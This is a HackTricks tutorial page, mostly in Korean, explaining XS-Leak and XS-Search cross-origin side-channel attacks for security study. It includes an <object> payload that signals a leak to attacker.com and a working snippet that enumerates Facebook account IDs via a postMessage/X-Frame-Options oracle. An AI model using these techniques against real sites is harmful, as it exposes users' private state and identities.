XS-Search/XS-Leaks

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

๊ธฐ๋ณธ ์ •๋ณด

XS-Search๋Š” extracting cross-origin information์„ ์œ„ํ•ด side channel vulnerabilities๋ฅผ ์•…์šฉํ•˜๋Š” ๋ฐฉ๋ฒ•์ž…๋‹ˆ๋‹ค.

์ด ๊ณต๊ฒฉ์— ๊ด€๋ จ๋œ ์ฃผ์š” ๊ตฌ์„ฑ ์š”์†Œ๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค:

  • Vulnerable Web: ์ •๋ณด ์ถ”์ถœ ๋Œ€์ƒ์ธ ํƒ€๊นƒ ์›น์‚ฌ์ดํŠธ.
  • Attackerโ€™s Web: ๊ณต๊ฒฉ์ž๊ฐ€ ๋งŒ๋“ค๊ณ  ํ”ผํ•ด์ž๊ฐ€ ๋ฐฉ๋ฌธํ•˜๋Š” ์•…์„ฑ ์›น์‚ฌ์ดํŠธ(์ต์Šคํ”Œ๋กœ์ž‡ ํ˜ธ์ŠคํŒ…).
  • Inclusion Method: Vulnerable Web์„ Attackerโ€™s Web์— ํฌํ•จ์‹œํ‚ค๋Š” ๋ฐ ์‚ฌ์šฉ๋˜๋Š” ๊ธฐ๋ฒ• (์˜ˆ: window.open, iframe, fetch, HTML ํƒœ๊ทธ์˜ href ๋“ฑ).
  • Leak Technique: Inclusion Method๋ฅผ ํ†ตํ•ด ์ˆ˜์ง‘ํ•œ ์ •๋ณด๋ฅผ ๋ฐ”ํƒ•์œผ๋กœ Vulnerable Web์˜ ์ƒํƒœ ์ฐจ์ด๋ฅผ ํŒ๋ณ„ํ•˜๋Š” ๊ธฐ์ˆ .
  • States: ๊ณต๊ฒฉ์ž๊ฐ€ ๊ตฌ๋ถ„ํ•˜๋ ค๋Š” Vulnerable Web์˜ ๋‘ ๊ฐ€์ง€ ๊ฐ€๋Šฅํ•œ ์ƒํƒœ.
  • Detectable Differences: ๊ณต๊ฒฉ์ž๊ฐ€ Vulnerable Web์˜ ์ƒํƒœ๋ฅผ ์ถ”๋ก ํ•˜๊ธฐ ์œ„ํ•ด ์˜์กดํ•˜๋Š” ๊ด€์ฐฐ ๊ฐ€๋Šฅํ•œ ์ฐจ์ด์ ๋“ค.

Detectable Differences

Vulnerable Web์˜ ์ƒํƒœ๋ฅผ ๊ตฌ๋ณ„ํ•˜๊ธฐ ์œ„ํ•ด ๋ถ„์„ํ•  ์ˆ˜ ์žˆ๋Š” ์—ฌ๋Ÿฌ ์ธก๋ฉด:

  • Status Code: ์„œ๋ฒ„ ์˜ค๋ฅ˜, ํด๋ผ์ด์–ธํŠธ ์˜ค๋ฅ˜ ๋˜๋Š” ์ธ์ฆ ์˜ค๋ฅ˜์™€ ๊ฐ™์ด cross-origin์—์„œ์˜ ๋‹ค์–‘ํ•œ HTTP ์‘๋‹ต status code๋ฅผ ๊ตฌ๋ณ„.
  • API Usage: ํŽ˜์ด์ง€ ์ „๋ฐ˜์—์„œ ํŠน์ • JavaScript Web API์˜ ์‚ฌ์šฉ ์—ฌ๋ถ€๋ฅผ ์‹๋ณ„.
  • Redirects: HTTP ๋ฆฌ๋‹ค์ด๋ ‰ํŠธ๋ฟ ์•„๋‹ˆ๋ผ JavaScript๋‚˜ HTML์— ์˜ํ•ด ๋ฐœ์ƒํ•˜๋Š” ๋‹ค๋ฅธ ํŽ˜์ด์ง€๋กœ์˜ ๋„ค๋น„๊ฒŒ์ด์…˜ ๊ฐ์ง€.
  • Page Content: HTTP ์‘๋‹ต ๋ณธ๋ฌธ ๋˜๋Š” ํ•˜์œ„ ๋ฆฌ์†Œ์Šค(์˜ˆ: ํฌํ•จ๋œ frame ์ˆ˜ ๋˜๋Š” ์ด๋ฏธ์ง€ ํฌ๊ธฐ ์ฐจ์ด)์—์„œ์˜ ๋ณ€ํ™”๋ฅผ ๊ด€์ฐฐ.
  • HTTP Header: X-Frame-Options, Content-Disposition, Cross-Origin-Resource-Policy ๊ฐ™์€ ํŠน์ • HTTP ์‘๋‹ต header์˜ ์กด์žฌ ๋˜๋Š” ๊ฐ’ ์œ ๋ฌด๋ฅผ ์ฃผ๋ชฉ.
  • Timing: ๋‘ ์ƒํƒœ ๊ฐ„์— ์ผ๊ด€๋œ ์‹œ๊ฐ„ ์ฐจ์ด๋ฅผ ๊ฐ์ง€.

Inclusion Methods

  • HTML Elements: stylesheet, image, script ๋“ฑ๊ณผ ๊ฐ™์€ cross-origin ๋ฆฌ์†Œ์Šค ํฌํ•จ์„ ์œ„ํ•ด HTML ์š”์†Œ๋“ค์„ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ๋ธŒ๋ผ์šฐ์ €๊ฐ€ non-HTML ๋ฆฌ์†Œ์Šค๋ฅผ ์š”์ฒญํ•˜๋„๋ก ์œ ๋„ํ•จ. ์ด๋ฅผ ์œ„ํ•œ ์ž ์žฌ์  HTML ์š”์†Œ ๋ชจ์Œ์€ https://github.com/cure53/HTTPLeaks์—์„œ ํ™•์ธ ๊ฐ€๋Šฅ.
  • Frames: iframe, object, embed ๊ฐ™์€ ์š”์†Œ๋Š” HTML ๋ฆฌ์†Œ์Šค๋ฅผ ๊ณต๊ฒฉ์ž ํŽ˜์ด์ง€์— ์ง์ ‘ ์ž„๋ฒ ๋“œํ•  ์ˆ˜ ์žˆ์Œ. ํŽ˜์ด์ง€๊ฐ€ framing protection์„ ์ ์šฉํ•˜์ง€ ์•Š๋Š” ๊ฒฝ์šฐ, JavaScript๋Š” contentWindow ์†์„ฑ์„ ํ†ตํ•ด ํ”„๋ ˆ์ž„๋œ ๋ฆฌ์†Œ์Šค์˜ window ๊ฐ์ฒด์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ์Œ.
  • Pop-ups: window.open ๋ฉ”์„œ๋“œ๋Š” ๋ฆฌ์†Œ์Šค๋ฅผ ์ƒˆ ํƒญ์ด๋‚˜ ์ฐฝ์œผ๋กœ ์—ด๊ณ , SOP์— ๋”ฐ๋ผ JavaScript๊ฐ€ ๋ฉ”์„œ๋“œ์™€ ์†์„ฑ์„ ํ†ตํ•ด ์ƒํ˜ธ์ž‘์šฉํ•  ์ˆ˜ ์žˆ๋Š” window handle์„ ์ œ๊ณต. ํŒ์—…์€ ์ข…์ข… single sign-on์—์„œ ์‚ฌ์šฉ๋˜๋ฉฐ ํƒ€๊นƒ ๋ฆฌ์†Œ์Šค์˜ ํ”„๋ ˆ์ด๋ฐ ๋ฐ ์ฟ ํ‚ค ์ œํ•œ์„ ์šฐํšŒํ•  ์ˆ˜ ์žˆ์Œ. ๋‹ค๋งŒ ์ตœ์‹  ๋ธŒ๋ผ์šฐ์ €๋Š” ํŠน์ • ์‚ฌ์šฉ์ž ์•ก์…˜์œผ๋กœ๋งŒ ํŒ์—… ์ƒ์„ฑ์„ ํ—ˆ์šฉํ•จ.
  • JavaScript Requests: JavaScript๋Š” XMLHttpRequests๋‚˜ Fetch API๋ฅผ ์‚ฌ์šฉํ•ด ๋Œ€์ƒ ๋ฆฌ์†Œ์Šค์— ์ง์ ‘ ์š”์ฒญ์„ ๋ณด๋‚ผ ์ˆ˜ ์žˆ์Œ. ์ด๋“ค ๋ฐฉ๋ฒ•์€ HTTP ๋ฆฌ๋‹ค์ด๋ ‰ํŠธ๋ฅผ ๋”ฐ๋ฅผ์ง€ ์—ฌ๋ถ€ ๋“ฑ ์š”์ฒญ์— ๋Œ€ํ•œ ์ •๋ฐ€ํ•œ ์ œ์–ด๋ฅผ ์ œ๊ณต.

Leak Techniques

  • Event Handler: XS-Leaks์—์„œ ๊ณ ์ „์ ์ธ leak ๊ธฐ๋ฒ•์œผ๋กœ, onload์™€ onerror ๊ฐ™์€ ์ด๋ฒคํŠธ ํ•ธ๋“ค๋Ÿฌ๊ฐ€ ๋ฆฌ์†Œ์Šค ๋กœ๋”ฉ์˜ ์„ฑ๊ณต/์‹คํŒจ์— ๋Œ€ํ•œ ์ •๋ณด๋ฅผ ์ œ๊ณตํ•จ.
  • Error Messages: JavaScript ์˜ˆ์™ธ๋‚˜ ํŠน์ˆ˜ํ•œ ์—๋Ÿฌ ํŽ˜์ด์ง€๋Š” ์—๋Ÿฌ ๋ฉ”์‹œ์ง€ ์ž์ฒด์—์„œ ๋˜๋Š” ์กด์žฌ ์œ ๋ฌด๋ฅผ ๋น„๊ตํ•˜์—ฌ leak ์ •๋ณด๋ฅผ ์ œ๊ณตํ•  ์ˆ˜ ์žˆ์Œ.
  • Global Limits: ๋ฉ”๋ชจ๋ฆฌ ์šฉ๋Ÿ‰์ด๋‚˜ ๋ธŒ๋ผ์šฐ์ €๊ฐ€ ๊ฐ•์ œํ•˜๋Š” ๋‹ค๋ฅธ ํ•œ๊ณ„์ฒ˜๋Ÿผ ๋ธŒ๋ผ์šฐ์ €์˜ ๋ฌผ๋ฆฌ์  ์ œํ•œ์€ ์ž„๊ณ„๊ฐ’ ๋„๋‹ฌ ์‹œ ์‹ ํ˜ธ๋ฅผ ๋ณด๋‚ด leak ๊ธฐ๋ฒ•์œผ๋กœ ํ™œ์šฉ๋  ์ˆ˜ ์žˆ์Œ.
  • Global State: History ์ธํ„ฐํŽ˜์ด์Šค ๋“ฑ ๋ธŒ๋ผ์šฐ์ €์˜ global states์™€์˜ ์ƒํ˜ธ์ž‘์šฉ์ด ๊ฐ์ง€ ๊ฐ€๋Šฅํ•˜๋ฉฐ, ์˜ˆ๋ฅผ ๋“ค์–ด ๋ธŒ๋ผ์šฐ์ € ํžˆ์Šคํ† ๋ฆฌ์˜ entries ์ˆ˜๋Š” cross-origin ํŽ˜์ด์ง€์— ๋Œ€ํ•œ ์‹ค๋งˆ๋ฆฌ๋ฅผ ์ œ๊ณตํ•  ์ˆ˜ ์žˆ์Œ.
  • Performance API: ํ˜„์žฌ ํŽ˜์ด์ง€์˜ ์„ฑ๋Šฅ ์„ธ๋ถ€์ •๋ณด๋ฅผ ์ œ๊ณตํ•˜๋ฉฐ, ๋ฌธ์„œ ๋ฐ ๋กœ๋“œ๋œ ๋ฆฌ์†Œ์Šค์˜ ๋„คํŠธ์›Œํฌ ํƒ€์ด๋ฐ์„ ํฌํ•จํ•ด ์š”์ฒญ๋œ ๋ฆฌ์†Œ์Šค์— ๋Œ€ํ•ด ์ถ”๋ก ํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•จ.
  • Readable Attributes: ์ผ๋ถ€ HTML ์†์„ฑ์€ cross-origin์œผ๋กœ๋ถ€ํ„ฐ ์ฝ์„ ์ˆ˜ ์žˆ์–ด leak ๊ธฐ๋ฒ•์œผ๋กœ ์‚ฌ์šฉ๋  ์ˆ˜ ์žˆ์Œ. ์˜ˆ๋ฅผ ๋“ค์–ด window.frame.length ์†์„ฑ์€ cross-origin์œผ๋กœ ํฌํ•จ๋œ ํ”„๋ ˆ์ž„ ์ˆ˜๋ฅผ JavaScript๋กœ ์…€ ์ˆ˜ ์žˆ๊ฒŒ ํ•จ.

XSinator Tool & Paper

XSinator๋Š” ์—ฌ๋Ÿฌ ์•Œ๋ ค์ง„ XS-Leaks์— ๋Œ€ํ•ด ๋ธŒ๋ผ์šฐ์ €๋ฅผ ์ž๋™์œผ๋กœ ์ ๊ฒ€ํ•˜๋Š” ๋„๊ตฌ์ด๋ฉฐ, ๋…ผ๋ฌธ์€ ๋‹ค์Œ์—์„œ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: https://xsinator.com/paper.pdf

๋„๊ตฌ๋Š” ๋‹ค์Œ์—์„œ ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: https://xsinator.com/

Warning

Excluded XS-Leaks: XSinator๋Š” ๋‹ค๋ฅธ leaks์™€ ๊ฐ„์„ญํ•  ์ˆ˜ ์žˆ๊ธฐ ๋•Œ๋ฌธ์— service workers์— ์˜์กดํ•˜๋Š” XS-Leaks๋Š” ์ œ์™ธํ–ˆ์Šต๋‹ˆ๋‹ค. ๋˜ํ•œ ํŠน์ • ์›น ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์˜ ์ž˜๋ชป๋œ ์„ค์ •์ด๋‚˜ ๋ฒ„๊ทธ์— ์˜์กดํ•˜๋Š” XS-Leaks(์˜ˆ: CrossOrigin Resource Sharing (CORS) misconfigurations, postMessage leakage ๋˜๋Š” Cross-Site Scripting)๋Š” ์ œ์™ธํ•˜๊ธฐ๋กœ ํ–ˆ์Šต๋‹ˆ๋‹ค. ์ถ”๊ฐ€๋กœ, timebased XS-Leaks๋Š” ๋А๋ฆฌ๊ณ , ์†Œ์Œ์ด ๋งŽ๊ณ , ์ •ํ™•๋„๊ฐ€ ๋‚ฎ์€ ๊ฒฝ์šฐ๊ฐ€ ๋งŽ์•„ ์ œ์™ธํ–ˆ์Šต๋‹ˆ๋‹ค.

Timing Based techniques

๋‹ค์Œ์— ๋‚˜์˜ค๋Š” ์ผ๋ถ€ ๊ธฐ๋ฒ•์€ ์›น ํŽ˜์ด์ง€์˜ ๊ฐ€๋Šฅํ•œ ์ƒํƒœ ์ฐจ์ด๋ฅผ ๊ฐ์ง€ํ•˜๋Š” ๊ณผ์ •์—์„œ timing์„ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค. ์›น ๋ธŒ๋ผ์šฐ์ €์—์„œ ์‹œ๊ฐ„์„ ์ธก์ •ํ•˜๋Š” ๋‹ค์–‘ํ•œ ๋ฐฉ๋ฒ•์ด ์žˆ์Šต๋‹ˆ๋‹ค.

Clocks: performance.now() API๋Š” ๊ณ ํ•ด์ƒ๋„ ํƒ€์ด๋ฐ ์ธก์ •์„ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค.
๊ณต๊ฒฉ์ž๊ฐ€ ์•”๋ฌต์  ์‹œ๊ณ„๋ฅผ ๋งŒ๋“ค๊ธฐ ์œ„ํ•ด ์•…์šฉํ•  ์ˆ˜ ์žˆ๋Š” API๊ฐ€ ์ƒ๋‹น์ˆ˜ ์กด์žฌํ•ฉ๋‹ˆ๋‹ค: Broadcast Channel API, Message Channel API, requestAnimationFrame, setTimeout, CSS animations ๋“ฑ.
์ž์„ธํ•œ ์ •๋ณด: https://xsleaks.dev/docs/attacks/timing-attacks/clocks.

Event Handler Techniques

Onload/Onerror

Cookie Bomb + Onerror XS Leak

ํ•ด๋‹น ์ฝ”๋“œ ์˜ˆ์ œ๋Š” JS์—์„œ ์Šคํฌ๋ฆฝํŠธ ๊ฐ์ฒด๋ฅผ ๋กœ๋“œํ•˜๋ ค๊ณ  ํ•˜์ง€๋งŒ, objects, stylesheets, images, audios ๊ฐ™์€ ๋‹ค๋ฅธ ํƒœ๊ทธ๋“ค๋„ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋˜ํ•œ ํƒœ๊ทธ๋ฅผ ์ง์ ‘ ์ฃผ์ž…ํ•˜๊ณ  ํƒœ๊ทธ ๋‚ด๋ถ€์—์„œ onload์™€ onerror ์ด๋ฒคํŠธ๋ฅผ ์„ ์–ธํ•˜๋Š” ๊ฒƒ๋„ ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค(๋Œ€์‹  JS์—์„œ ์ฃผ์ž…ํ•˜๋Š” ๋ฐฉ๋ฒ• ๋Œ€์‹ ).

์ด ๊ณต๊ฒฉ์—๋Š” ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ์—†๋Š” ๋ฒ„์ „๋„ ์กด์žฌํ•ฉ๋‹ˆ๋‹ค:

<object data="//example.com/404">
<object data="//attacker.com/?error"></object>
</object>

์ด ๊ฒฝ์šฐ example.com/404๊ฐ€ ์กด์žฌํ•˜์ง€ ์•Š์œผ๋ฉด attacker.com/?error๊ฐ€ ๋กœ๋“œ๋ฉ๋‹ˆ๋‹ค.

Content-Type/CORB script load oracle

  • ํฌํ•จ ๋ฐฉ์‹: HTML Elements (script)
  • ๊ฐ์ง€ ๊ฐ€๋Šฅํ•œ ์ฐจ์ด: Header / Content-Type via onload vs onerror (CORB)
  • ์š”์•ฝ: ์—”๋“œํฌ์ธํŠธ๊ฐ€ ์ผ์น˜ํ•  ๋•Œ HTML์„ ๋ฐ˜ํ™˜ํ•˜๊ณ  ๋ถˆ์ผ์น˜ํ•  ๋•Œ JSON์„ ๋ฐ˜ํ™˜ํ•˜๋ฉด <script src>๋กœ ๋กœ๋“œํ•˜์„ธ์š”. HTML์€ onload๋ฅผ ํŠธ๋ฆฌ๊ฑฐํ•˜๊ณ , JSON์€ CORB์— ์˜ํ•ด ์ฐจ๋‹จ๋˜์–ด onerror๋ฅผ ๋ฐœ์ƒ์‹œํ‚ต๋‹ˆ๋‹ค. ์ด๋Š” ์•Œ๋ ค์ง„ ๋ฒ”์œ„ ๋‚ด์—์„œ __user ๊ฐ™์€ ์‹๋ณ„์ž๋ฅผ ๋ฌด์ฐจ๋ณ„ ๋Œ€์ž…์œผ๋กœ ์ฐพ์„ ์ˆ˜ ์žˆ๋Š” ๋ถˆ๋ฆฌ์–ธ ์˜ค๋ผํด(Boolean oracle)์„ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค.
  • ์ฐธ๊ณ : ๋ณธ ๋ฐฉ๋ฒ•์€ ๋ณธ๋ฌธ์„ ์ฝ์ง€ ์•Š๊ณ ๋„ cross-origin์—์„œ ์ž‘๋™ํ•ฉ๋‹ˆ๋‹ค; tenant ID๊ฐ€ ๊ณ ์ •๋œ ๊ฒฝ์šฐ ํ™œ์„ฑ ๊ณ„์ •์„ ์—ด๊ฑฐํ•˜๋Š” ๋ฐ ์œ ์šฉํ•ฉ๋‹ˆ๋‹ค.

postMessage vs X-Frame-Options deny oracle

  • ํฌํ•จ ๋ฐฉ์‹: Frames
  • ๊ฐ์ง€ ๊ฐ€๋Šฅํ•œ ์ฐจ์ด: Header (XFO) + postMessage ์กด์žฌ/๋ถ€์žฌ
  • ์š”์•ฝ: ์ผ๋ถ€ ์œ„์ ฏ์€ ๋กœ๋“œ๋˜๋ฉด ๋ถ€๋ชจ์—๊ฒŒ postMessage๋ฅผ ๋ณด๋ƒ…๋‹ˆ๋‹ค. ์š”์ฒญ์ด ์ž˜๋ชป๋œ ์‹๋ณ„์ž๋กœ ํ”„๋ ˆ์ด๋ฐ๋˜๋ฉด ์„œ๋ฒ„๊ฐ€ X-Frame-Options: deny๋กœ ์‘๋‹ตํ•˜์—ฌ ๋ Œ๋”๋ง์„ ์ฐจ๋‹จํ•˜๊ณ  ๋ฉ”์‹œ์ง€๊ฐ€ ์ „์†ก๋˜์ง€ ์•Š์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. iframe์˜ src๋ฅผ ํ›„๋ณด ID๋กœ ์„ค์ •ํ•˜๊ณ  message ์ด๋ฒคํŠธ๋ฅผ ๊ธฐ๋‹ค๋ฆฌ๋ฉฐ(์„ฑ๊ณต ์‹œ) ํƒ€์ž„์•„์›ƒ/๋ฉ”์‹œ์ง€ ์—†์Œ์€ ์‹คํŒจ๋กœ ์ฒ˜๋ฆฌํ•˜๋ฉด ํ™œ์„ฑ ๊ณ„์ •์„ ๋ฌด์ฐจ๋ณ„ ๋Œ€์ž…์œผ๋กœ ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  • ์ตœ์†Œ ์Šค๋‹ˆํŽซ:
<iframe id=fb width=0 height=0></iframe>
<script>
function test(id){
fb.src=`https://www.facebook.com/plugins/like.php?__a=1&__user=${id}`;
return new Promise(r=>{
const t=setTimeout(()=>r(false),2000);
onmessage=()=>{clearTimeout(t);r(true);}
});
}
</script>

Iframe Traps

๋ฉ”์‹œ์ง€/iframe ๊ด€๋ จ ์ถ”๊ฐ€ ํ•จ์ •์€ ์œ„ ๋งํฌ๋“ค์„ ์ฐธ๊ณ ํ•˜์„ธ์š”.

Onload Timing

  • Inclusion Methods: HTML Elements
  • Detectable Difference: ๊ฐ์ง€ ๊ฐ€๋Šฅํ•œ ์ฐจ์ด: ํƒ€์ด๋ฐ(์ผ๋ฐ˜์ ์œผ๋กœ ํŽ˜์ด์ง€ ์ฝ˜ํ…์ธ ๋‚˜ ์ƒํƒœ ์ฝ”๋“œ๋กœ ์ธํ•œ)
  • More info: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events
  • Summary: performance.now() API๋Š” ์š”์ฒญ์„ ์ˆ˜ํ–‰ํ•˜๋Š” ๋ฐ ๊ฑธ๋ฆฌ๋Š” ์‹œ๊ฐ„์„ ์ธก์ •ํ•˜๋Š” ๋ฐ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ PerformanceLongTaskTiming API์™€ ๊ฐ™์€ ๋‹ค๋ฅธ ํด๋ก๋„ ์‚ฌ์šฉ๋  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ์ด๋Š” 50ms๋ฅผ ์ดˆ๊ณผํ•˜์—ฌ ์‹คํ–‰๋˜๋Š” ์ž‘์—…์„ ์‹๋ณ„ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  • Code Example: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events ๋˜ ๋‹ค๋ฅธ ์˜ˆ๋Š”:

performance.now example

Onload Timing + Forced Heavy Task

์ด ๊ธฐ๋ฒ•์€ ์ด์ „ ๊ฒƒ๊ณผ ๋™์ผํ•˜์ง€๋งŒ, ๊ณต๊ฒฉ์ž๊ฐ€ ์‘๋‹ต์ด ๊ธ์ •์ ์ด๊ฑฐ๋‚˜ ๋ถ€์ •์ ์ผ ๋•Œ ์ผ๋ถ€ ๋™์ž‘์ด ์ƒ๋‹นํ•œ ์‹œ๊ฐ„์„ ์†Œ์š”ํ•˜๋„๋ก ๊ฐ•์ œํ•˜๊ณ  ๊ทธ ์‹œ๊ฐ„์„ ์ธก์ •ํ•ฉ๋‹ˆ๋‹ค.

performance.now + Force heavy task

unload/beforeunload Timing

๋ฆฌ์†Œ์Šค๋ฅผ ๊ฐ€์ ธ์˜ค๋Š” ๋ฐ ๊ฑธ๋ฆฌ๋Š” ์‹œ๊ฐ„์€ unload ๋ฐ beforeunload ์ด๋ฒคํŠธ๋ฅผ ์ด์šฉํ•ด ์ธก์ •ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. beforeunload ์ด๋ฒคํŠธ๋Š” ๋ธŒ๋ผ์šฐ์ €๊ฐ€ ์ƒˆ ํŽ˜์ด์ง€๋กœ ์ด๋™ํ•˜๋ ค ํ•  ๋•Œ ๋ฐœ์ƒํ•˜๊ณ , unload ์ด๋ฒคํŠธ๋Š” ์‹ค์ œ๋กœ ์ด๋™์ด ์ง„ํ–‰๋  ๋•Œ ๋ฐœ์ƒํ•ฉ๋‹ˆ๋‹ค. ์ด ๋‘ ์ด๋ฒคํŠธ ๊ฐ„์˜ ์‹œ๊ฐ„ ์ฐจ์ด๋ฅผ ๊ณ„์‚ฐํ•˜๋ฉด ๋ธŒ๋ผ์šฐ์ €๊ฐ€ ๋ฆฌ์†Œ์Šค๋ฅผ ๊ฐ€์ ธ์˜ค๋Š” ๋ฐ ์†Œ์š”ํ•œ ๊ธฐ๊ฐ„์„ ์•Œ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Sandboxed Frame Timing + onload

Framing Protections๊ฐ€ ์—†๋Š” ๊ฒฝ์šฐ, ๊ณต๊ฒฉ์ž๊ฐ€ ํŽ˜์ด์ง€์™€ ๊ทธ ํ•˜์œ„ ๋ฆฌ์†Œ์Šค๊ฐ€ ๋„คํŠธ์›Œํฌ๋ฅผ ํ†ตํ•ด ๋กœ๋“œ๋˜๋Š” ๋ฐ ํ•„์š”ํ•œ ์‹œ๊ฐ„์„ ์ธก์ •ํ•  ์ˆ˜ ์žˆ์Œ์ด ๊ด€์ฐฐ๋˜์—ˆ์Šต๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ์ธก์ •์€ ์ผ๋ฐ˜์ ์œผ๋กœ iframe์˜ onload ํ•ธ๋“ค๋Ÿฌ๊ฐ€ ๋ฆฌ์†Œ์Šค ๋กœ๋“œ์™€ JavaScript ์‹คํ–‰์ด ์™„๋ฃŒ๋œ ์ดํ›„์—๋งŒ ํŠธ๋ฆฌ๊ฑฐ๋˜๊ธฐ ๋•Œ๋ฌธ์— ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค. ์Šคํฌ๋ฆฝํŠธ ์‹คํ–‰์ด ๋„์ž…ํ•˜๋Š” ๋ณ€๋™์„ฑ์„ ์šฐํšŒํ•˜๊ธฐ ์œ„ํ•ด, ๊ณต๊ฒฉ์ž๋Š” <iframe> ๋‚ด์—์„œ sandbox ์†์„ฑ์„ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ์†์„ฑ์„ ํฌํ•จํ•˜๋ฉด JavaScript ์‹คํ–‰์„ ํฌํ•จํ•œ ์—ฌ๋Ÿฌ ๊ธฐ๋Šฅ์ด ์ œํ•œ๋˜์–ด ๋„คํŠธ์›Œํฌ ์„ฑ๋Šฅ์— ์ฃผ๋กœ ์˜ํ–ฅ์„ ๋ฐ›๋Š” ์ธก์ •์ด ์šฉ์ดํ•ด์ง‘๋‹ˆ๋‹ค.

// Example of an iframe with the sandbox attribute
<iframe src="example.html" sandbox></iframe>

#ID + error + onload

  • ํฌํ•จ ๋ฐฉ๋ฒ•: Frames
  • ์‹๋ณ„ ๊ฐ€๋Šฅํ•œ ์ฐจ์ด: Page Content
  • ๋” ๋งŽ์€ ์ •๋ณด:
  • ์š”์•ฝ: ์˜ฌ๋ฐ”๋ฅธ ์ปจํ…์ธ ์— ์ ‘๊ทผํ–ˆ์„ ๋•Œ ํŽ˜์ด์ง€๋ฅผ ์—๋Ÿฌ ์ƒํƒœ๋กœ ๋งŒ๋“ค๊ณ , ์ž˜๋ชป๋œ(๋˜๋Š” ์•„๋ฌด) ์ปจํ…์ธ ์— ์ ‘๊ทผํ–ˆ์„ ๋•Œ๋Š” ์ •์ƒ์ ์œผ๋กœ ๋กœ๋“œ๋˜๊ฒŒ ๋งŒ๋“ค ์ˆ˜ ์žˆ๋‹ค๋ฉด, ์‹œ๊ฐ„์„ ์ธก์ •ํ•˜์ง€ ์•Š๊ณ ๋„ ๋ชจ๋“  ์ •๋ณด๋ฅผ ์ถ”์ถœํ•  ์ˆ˜ ์žˆ๋Š” ๋ฃจํ”„๋ฅผ ๋งŒ๋“ค ์ˆ˜ ์žˆ๋‹ค.
  • ์ฝ”๋“œ ์˜ˆ์‹œ:

Suppose that you can insert the page that has the secret content inside an Iframe.

You can make the victim search for the file that contains โ€œflagโ€ using an Iframe (exploiting a CSRF for example). Inside the Iframe you know that the onload event will be executed always at least once. Then, you can change the URL of the iframe but changing only the content of the hash inside the URL.

For example:

  1. URL1: www.attacker.com/xssearch#try1
  2. URL2: www.attacker.com/xssearch#try2

If the first URL was successfully loaded, then, when changing the hash part of the URL the onload event wonโ€™t be triggered again. But if the page had some kind of error when loading, then, the onload event will be triggered again.

Then, you can distinguish between a correctly loaded page or page that has an error when is accessed.

Javascript Execution

  • ํฌํ•จ ๋ฐฉ๋ฒ•: Frames
  • ์‹๋ณ„ ๊ฐ€๋Šฅํ•œ ์ฐจ์ด: Page Content
  • ๋” ๋งŽ์€ ์ •๋ณด:
  • ์š”์•ฝ: ํŽ˜์ด์ง€๊ฐ€ ๋ฏผ๊ฐํ•œ ์ปจํ…์ธ ๋ฅผ ๋ฐ˜ํ™˜ํ•˜๊ฑฐ๋‚˜, ์‚ฌ์šฉ์ž๊ฐ€ ์ œ์–ดํ•  ์ˆ˜ ์žˆ๋Š” ์ปจํ…์ธ ๋ฅผ ๋ฐ˜ํ™˜ํ•˜๋Š” ๊ฒฝ์šฐ, ๊ณต๊ฒฉ์ž๋Š” ๋ถ€์ • ์‚ฌ๋ก€(negative case)์—์„œ ์œ ํšจํ•œ JS ์ฝ”๋“œ๋ฅผ ์„ค์ •ํ•˜๊ณ  ๊ฐ ์‹œ๋„๋งˆ๋‹ค <script> ํƒœ๊ทธ ์•ˆ์— ๋กœ๋“œํ•˜๋„๋ก ํ•  ์ˆ˜ ์žˆ๋‹ค. ๊ทธ๋Ÿฌ๋ฉด ๋ถ€์ • ์‚ฌ๋ก€์—์„œ๋Š” ๊ณต๊ฒฉ์ž ์ฝ”๋“œ๊ฐ€ ์‹คํ–‰๋˜๊ณ , ๊ธ์ • ์‚ฌ๋ก€์—์„œ๋Š” ์•„๋ฌด๊ฒƒ๋„ ์‹คํ–‰๋˜์ง€ ์•Š๋Š”๋‹ค.
  • ์ฝ”๋“œ ์˜ˆ์‹œ:

JavaScript Execution XS Leak

CORB - Onerror

  • ํฌํ•จ ๋ฐฉ๋ฒ•: HTML Elements
  • ์‹๋ณ„ ๊ฐ€๋Šฅํ•œ ์ฐจ์ด: Status Code & Headers
  • ๋” ๋งŽ์€ ์ •๋ณด: https://xsleaks.dev/docs/attacks/browser-features/corb/
